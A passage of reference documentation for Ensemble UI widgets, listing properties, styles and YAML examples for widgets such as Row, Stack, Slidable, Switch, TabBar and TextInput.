bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - - -# RadioButton - -RadioButton widget renders a simple Radio button, which can be grouped with other RadioButtons anywhere on the screen with the groupId. - ---- - - -# RadioGroup - -The RadioGroup widget renders a group of radios together in a few pre-determined layouts. - ---- - -# ensemble.RatingStars widget - -The `ensemble.RatingStars` widget in Ensemble provides an intuitive solution for displaying star ratings with customizable attributes. It is fixed at 5 stars. - - -[Kitchen Sink example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Ywo5qN6fAbx0pC3l5aLZ) - - -**Input Parameters** -Required: -1. `rating`: An integer or double between 1 and 5, indicating the number of stars to be filled - -Optional: -1. `starColor`: The color used to fill the stars, default is 0xFFF5970A -2. `starBackgroundColor`: The color used as the background of the box containing each star, default is 0xFFFFFAEB -3. `size`: An integer to set the size of each star, default is 16 -4. `starGaps`: An integer to set the gap between stars, default is 4 -5. `starPadding`: An integer to set the padding for each star, default is 2 -6. `starBorderRadius`: An integer to set the gap between stars, default is 2 - -By utilizing these Input Parameters, you can customize the appearance of the rating stars by adjusting these parameters tailored to your app's design. Below is an example of how to use the public widget `RatingStars`: -```yaml -- ensemble.RatingStars: - inputs: - rating: 3 - size: 24 - starColor: white - starBackgroundColor: red -``` -Since this widget is globally available, you only need to specify the rating input. The example above also showcases optional input parameters for further customization. Incorporate the `ensemble.RatingStars` widget in your app to enhance the visual representation of rating stars. - ---- - -# Row - -Row is designed to arrange child widgets horizontally, where the intrinsic sizes of child widgets dictate the layout's appearance. - -## Best Practices - -- Use Row to lay out the children horizontally from left to right. Enable scrollable if the children might exceed the available space. -- **Avoid** using child widgets with no width constraint or sized itself to the parent (e.g. form inputs such as TextInput) inside the Row. [FlexRow](/pages/widgets/flex-row.md) may be a better choice in this case. -- Avoid using nested scrollable Row for better UX. - -## Key Concepts -- **mainAxisSize**: By default the width of a `Row` is determined by its parent's width constraint (if available), otherwise it will be the combined width of its children. You may force the Row to do the later (size itself to the children's combined width) with `mainAxisSize=min`. -- **mainAxis**: This property controls the horizontal alignment of the children within the Row. This property is useful only when the mainAxisSize is set to max (default) as there are available spaces to align the children. -- **crossAxis**: This property controls the vertical alignment of the children within the Row. -- **scrollable**: Enable horizontal scrolling when the child widgets grow wider than the available space. - -## Caveats -- **Row height**: Note that setting a height for a Row acts more like a maximum height constraint. The Row determines its actual height based on the tallest child, aligning the other children along the vertical cross-axis according to this height. This means if this actual height is less than the specified height, the `crossAxis` only affects the alignment of the children within the determined (lesser) height. -If you wish to stretch all the children to the same specified height, add `crossAxis: stretch` in addition to the fixed height. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :------------------------------- | -| item-template | object | [See properties](#item-template) | -| children | array | List of widgets | -| styles | object | [See properties](#styles) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- |:-----------------------------------------------------------| :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| mainAxis | string | Control our children's layout horizontally.`start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | -| gap | integer | The gap between the children in the main direction | -| crossAxis | string | Control the vertical alignment of the children.`start` `center` `end` `stretch` `baseline` | -| mainAxisSize | string | If 'max', stretch the Row to fill its parent's width. Otherwise (min) the Row's width will be its children's combined. | -| scrollable | boolean | Set to true so content can scroll horizontally as needed | -| autoFit | boolean | Explicitly make the row's height as tall as the largest child, but only if the row's parent does not already assign us a height. This attribute is useful for sizing children who don't have a width (e.g vertical Divider) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | [Color](#Color) | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | [Color](#Color) | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | [BackgroundImage](#BackgroundImage) | Background image of the box. | -| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | -| backgroundColor | [Color](#Color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | - ---- - -# Shape Widget - -ECreate and customize a variety of shapes to add flair to your UI. Use this widget in combination with [LoadingContainer](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3wNZSfVkdi56zmTtFeBT) to create compelling loading states. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------- | -| type | string | Type of the shape, `circle` `rectangle` `oval` `square` | - -### Styles - -| Property | Type | Description | -| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| borderRadius | string or integer | The border radius of the widget. This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - ---- - - -# Signature Widget - -The `Signature` widget allows users to capture handwritten signatures directly within your application. It provides a canvas where users can draw their signature using touch or mouse input. The widget is highly customizable, enabling you to adjust its appearance and behavior to suit your application's needs. - -## Key Properties and Features - -- **Pen Customization**: Adjust the pen color (`penColor`), stroke width (`penStrokeWidth`), stroke cap (`strokeCap`), and stroke join (`strokeJoin`) to customize the drawing experience. -- **Background Customization**: Set the background color of the signature pad using `backgroundColor`. - -- **Value Handling**: The `value` property holds the signature data encoded as a Base64 string. This can be used to retrieve or set the signature. - -- **Disabling Input**: Use the `disabled` property to prevent users from drawing on the signature pad, useful for displaying a previously captured signature. - -- **Export Options**: Customize the colors used when exporting the signature image with `exportBackgroundColor` and `exportPenColor`. - -- **Getters**: Access additional data through getters like `isEmpty`, `getSignatureBytes`, `getSignatureSVG`, and `getSignatureJPG`. - -- **Events**: The `onChange` event is triggered whenever the signature pad's content changes, allowing you to react to user input. - -- **Methods**: The `clear()` method allows you to programmatically clear the signature pad. - ---- - - -# Slidable Widget - -The `Slidable` widget enables you to create swipeable items with customizable action panes on both sides. This widget is particularly useful for implementing swipe-to-action functionality, such as swipe-to-delete, swipe-to-edit, or any other custom actions in your application. - -## Key Properties and Features - -- **Dual Action Panes**: Support for both start (left) and end (right) action panes -- **Customizable Actions**: Each action pane can contain multiple actions with customizable icons, labels, and colors -- **Motion Options**: Various motion types available including scroll, stretch, behind, and drawer animations -- **Dismissible Support**: Optional swipe-to-dismiss functionality with customizable behavior -- **Group Management**: Group related slidables together using the `groupTag` property -- **Directional Support**: Supports both horizontal and vertical sliding -- **Accessibility**: Respects text direction for RTL/LTR layouts - -```yaml -Slidable: - styles: - direction: horizontal - closeOnScroll: true - dragStartBehavior: start - useTextDirection: true - startDrawer: - options: - extentRatio: 0.001 # we can keep the extent ratio small so that dismissible action looks smooth - openThreshold: 0.25 - motion: behind - dismissible: - dismissThreshold: 0.75 - dismissalDurationMs: 300 - resizeDurationMs: 300 - motion: inversedDrawer - onDismissed: - showToast: - message: Item dismissed - endDrawer: - children: - - icon: star - label: Favorite - backgroundColor: yellow - onTap: - showToast: - message: Added to favorites - child: - Container: - padding: 16 - child: - Text: "Swipe me left or right" -``` - ---- - - -# Slider Widget - -The `Slider` widget provides an intuitive way for users to select a value or range of values by dragging a handle along a track. This widget is particularly useful for adjusting numeric inputs like volume, brightness, or any other adjustable parameters that fall within a continuous or discrete range. - -## Key Properties and Features - -- **Value Selection**: Intuitive dragging interface for selecting numeric values -- **Discrete or Continuous**: Option to divide the slider into discrete steps or maintain continuous sliding -- **Customizable Appearance**: Extensive styling options for track, thumb, tick marks, and value indicators -- **Interactive Feedback**: Visual feedback through overlays and value indicators -- **Accessibility**: Support for enabled/disabled states and form validation - ---- - -# Spacer - -The Spacer Widget enables the creation of adjustable spacing between elements, offering precise control over the layout and alignment of content within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------ | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :------- | :------ | :----------------------------------------------------------------------------------------------------------- | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - ---- - -# Stack - -The Stack Widget allows you to visually stack items on top of each other, providing a flexible and layered approach to layout and design within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------ | -| children | array | List of widgets | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :------------ | :----- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| alignChildren | string | How to align the children within the stack such that their alignment points will be the same (default is topStart). Each child can override this with alignment property. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | - ---- - -# Staggered Grid - -StaggeredGrid is a versatile widget that arranges its children in a staggered layout, allowing flexible and dynamic positioning for unique and visually appealing UI designs. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :-------------------------------------------------------------------------------------- | -| onItemTap | action | Call Ensemble's built-in functions or execute code when tapping on an item in the list. | -| onItemTapHaptic | enum | The type of haptic to perform when a item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| children | array | List of widgets | -| styles | object | [See properties](#styles) | -| item-template | object | [See properties](#item-template) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | widget | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| crossAxisCount | integer | Creates a list of staggered grid tile in the cross axis | -| verticalGap | integer | Vertical gap between the staggered grid tiles | -| horizontalGap | integer | Horizontal gap between the staggered grid tiles | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | - ---- - -# Switch widget - -The Switch Widget enables the rendering of switch toggle elements, providing users with an intuitive and interactive way to toggle between two states within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3f4ba37a-0e6a-46a1-9b78-e4e04c84937d) - -## Properties - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| onChangeHaptic | enum | The type of haptic to perform when switch state is changed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| value | string | Specifying the value of your Text Input | -| autoComplete | boolean | Enable the Input search suggestion option | -| items | array | List of values, or Objects with value/label pairs | -| styles | object | [see properties](#styles) | -| leadingText | string | Sets the text displayed before the checkbox | -| trailingText | string | Sets the text displayed after the checkbox | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - ---- - -# TabBar - -The TabBar Widget enables the creation of tab bars, providing a convenient and visually appealing way to navigate between different sections or views within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) - -## Properties - -| Property | Type | Description | -| :------------ | :------ | :--------------------------------------- | -| styles | object | [See properties](#styles) | -| selectedIndex | integer | Selecting a Tab based on its index order | -| items | array | Define each of your Tab here | -| onTabSelection | action | The action that will be performed when a tab is pressed. | -| onTabSelectionHaptic | enum | The type of haptic to perform when a tab is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | - -### styles - -| Property | Type | Description | -| :----------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| tabPosition | string | How to lay out the Tab labels | -| tabAlignment | enum | The TabBar alignments: `start`, `startOffset`, `fill`, `center`. | -| tabPadding | string or integer | Padding for each tab labels with CSS-style value. Default: 0 30 0 0 (right padding only) | -| tabFontSize | integer | Font size for the tab text | -| tabFontWeight | string | Font weight for the tab text | -| tabBackgroundColor | integer or string | The background color of the tab's navigation bar, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| activeTabColor | integer or string | The color of the selected tab's text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| inactiveTabColor | integer or string | The color of the un-selected tabs' text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| indicatorColor | integer or string | The color of the selected tab's indicator, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| indicatorThickness | integer | The thickness of the selected tab's indicator | -| margin | string or integer | Margin with CSS-style notation e.g. margin: 5 20 5 | -| borderWidth | integer | The width of border of tabs in integer i.e, 10 . -| borderRadius | integer | The radius of border of tabs in integer like 10, it applies on all sides. -| borderColor | integer or string |The color of borders of the tabs, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange`| - -| - ---- - -# TextInput widget - -The TextInput Widget enables the rendering of interactive text input fields, allowing users to enter and edit text within your application for data input and interaction. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) - -## Properties - -| Property | Type | Description | -|:------------------------|:-----------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| labelStyle | [TextStyle](#TextStyle) | Styling for the label | -| hintText | string | Hint text 